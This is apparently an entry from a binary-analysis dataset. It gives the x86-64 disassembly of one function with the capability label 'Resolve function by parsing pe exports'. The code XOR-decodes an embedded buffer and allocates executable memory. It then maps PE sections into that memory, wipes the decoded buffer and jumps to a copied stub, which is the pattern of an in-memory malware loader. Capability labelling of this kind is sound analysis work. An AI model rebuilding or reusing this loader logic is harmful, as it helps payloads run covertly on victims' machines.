Function at 0x1400802e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov byte [rsp + 0x20], r9b
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2f0
mov rax, qword [0x1400da010]
xor rax, rsp
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x300]
movzx eax, word [rax]
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x300]
add rax, 0x1e
mov qword [rsp + 0x300], rax
mov dword [rsp + 0x2c], 0
jmp 0x140080372
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
movsxd rax, dword [rsp + 0x2c]
cmp rax, qword [rsp + 0x308]
jae 0x1400803a7
movsxd rax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x300]
movzx eax, byte [rcx + rax]
xor eax, 9
movsxd rcx, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x300]
mov byte [rdx + rcx], al
jmp 0x140080368
lea rax, [rsp + 0x190]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x21]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
call fcn.140080bf0
mov rcx, rax
call fcn.140081d90
mov rdx, rax
mov rcx, qword [rsp + 0xa0]
call fcn.1400844c0
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x21]
call fcn.140080b10
mov rcx, rax
call fcn.140081d90
mov rdx, rax
mov rcx, qword [rsp + 0xb0]
call fcn.1400844c0
mov qword [rsp + 0xc0], rax
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc0]
call fcn.140080240
mov qword [rsp + 0x88], rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
xor ecx, ecx
call qword [rsp + 0x88]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140080498
xor al, al
jmp 0x140080aed
mov ecx, 0x40
call fcn.14008f1e4
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x70], rax
mov edx, 0x18
lea rcx, [rsp + 0x2d0]
call fcn.14007cbd0
mov r8, qword [rsp + 0x308]
mov rdx, qword [rsp + 0x300]
lea rcx, [rsp + 0x170]
call fcn.140084510
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x2d0]
call fcn.140088b70
nop
lea rcx, [rsp + 0x170]
call fcn.140084440
mov dword [rsp + 0x38], 0
jmp 0x140080535
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
movsxd rax, dword [rsp + 0x38]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x2d0]
call fcn.140083120
mov rcx, qword [rsp + 0xe0]
cmp rcx, rax
jae 0x14008058a
movsxd rax, dword [rsp + 0x38]
mov rdx, rax
lea rcx, [rsp + 0x2d0]
call fcn.1400830f0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax]
xor eax, 0x34
mov rcx, qword [rsp + 0x78]
mov byte [rcx], al
jmp 0x14008052b
lea rcx, [rsp + 0x2d0]
call fcn.140083230
mov qword [rsp + 0x300], rax
lea rcx, [rsp + 0x2d0]
call fcn.140083120
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x300]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x300]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
add rax, 0x18
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x30], 0
jmp 0x140080618
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
movsxd rax, dword [rsp + 0x30]
cmp rax, qword [rsp + 0x308]
jae 0x14008064d
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x300]
movzx eax, byte [rcx + rax]
xor eax, 0x15
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x300]
mov byte [rdx + rcx], al
jmp 0x14008060e
mov eax, dword [rsp + 0x60]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rsp + 0x88]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140080691
mov byte [rsp + 0x22], 0
lea rcx, [rsp + 0x2d0]
call fcn.1400832d0
movzx eax, byte [rsp + 0x22]
jmp 0x140080aed
mov dword [rsp + 0x34], 0
jmp 0x1400806a5
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
cmp rax, qword [rsp + 0x308]
jae 0x1400806da
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x300]
movzx eax, byte [rcx + rax]
xor eax, 0x15
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x300]
mov byte [rdx + rcx], al
jmp 0x14008069b
lea rax, [rsp + 0x290]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x23]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0x24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x23]
call fcn.140080db0
mov rcx, rax
call fcn.140081d00
mov rdx, rax
mov rcx, qword [rsp + 0xe8]
call fcn.1400844c0
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x24]
call fcn.140080cd0
mov rcx, rax
call fcn.140081d00
mov rdx, rax
mov rcx, qword [rsp + 0xf8]
call fcn.1400844c0
mov qword [rsp + 0x108], rax
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x108]
call fcn.140080240
mov qword [rsp + 0x290], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x25]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x230]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x26]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x25]
call fcn.140080f70
mov rcx, rax
call fcn.140081a80
mov rdx, rax
mov rcx, qword [rsp + 0x110]
call fcn.1400844c0
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x26]
call fcn.140080e90
mov rcx, rax
call fcn.140081bc0
mov rdx, rax
mov rcx, qword [rsp + 0x120]
call fcn.1400844c0
mov qword [rsp + 0x130], rax
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
call fcn.140080240
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x27]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x270]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x27]
call fcn.140081130
mov rcx, rax
call fcn.140081800
mov rdx, rax
mov rcx, qword [rsp + 0x138]
call fcn.1400844c0
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x28]
call fcn.140081060
mov rcx, rax
call fcn.140081940
mov rdx, rax
mov rcx, qword [rsp + 0x148]
call fcn.1400844c0
mov qword [rsp + 0x158], rax
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
call fcn.140080240
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x2a8], rax
mov eax, dword [rsp + 0x330]
mov dword [rsp + 0x2b8], eax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x2c0], rax
movzx eax, byte [rsp + 0x328]
mov dword [rsp + 0x2c8], eax
mov r8d, 0x1000
mov rdx, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0
jmp 0x1400809c4
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x48]
add rax, 0x28
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x90]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x40], eax
je 0x140080a36
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x10], 0
je 0x140080a31
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x300]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x50]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x160], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x160]
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
jmp 0x1400809ac
mov r8d, 0x40
lea rdx, [rsp + 0x290]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov r8d, 0x1000
lea rdx, [0x140081230]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
lea rcx, [rsp + 0x2d0]
call fcn.140083250
mov dword [rsp + 0x3c], 0
jmp 0x140080a88
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
movsxd rax, dword [rsp + 0x3c]
cmp rax, qword [rsp + 0x308]
jae 0x140080aaa
movsxd rax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x300]
mov byte [rcx + rax], 0
jmp 0x140080a7e
mov r8d, 0x10
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x168], rax
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x168]
mov byte [rsp + 0x29], 1
lea rcx, [rsp + 0x2d0]
call fcn.1400832d0
movzx eax, byte [rsp + 0x29]
mov rcx, qword [rsp + 0x2e8]
xor rcx, rsp
call fcn.14008ed40
add rsp, 0x2f0
pop rdi
ret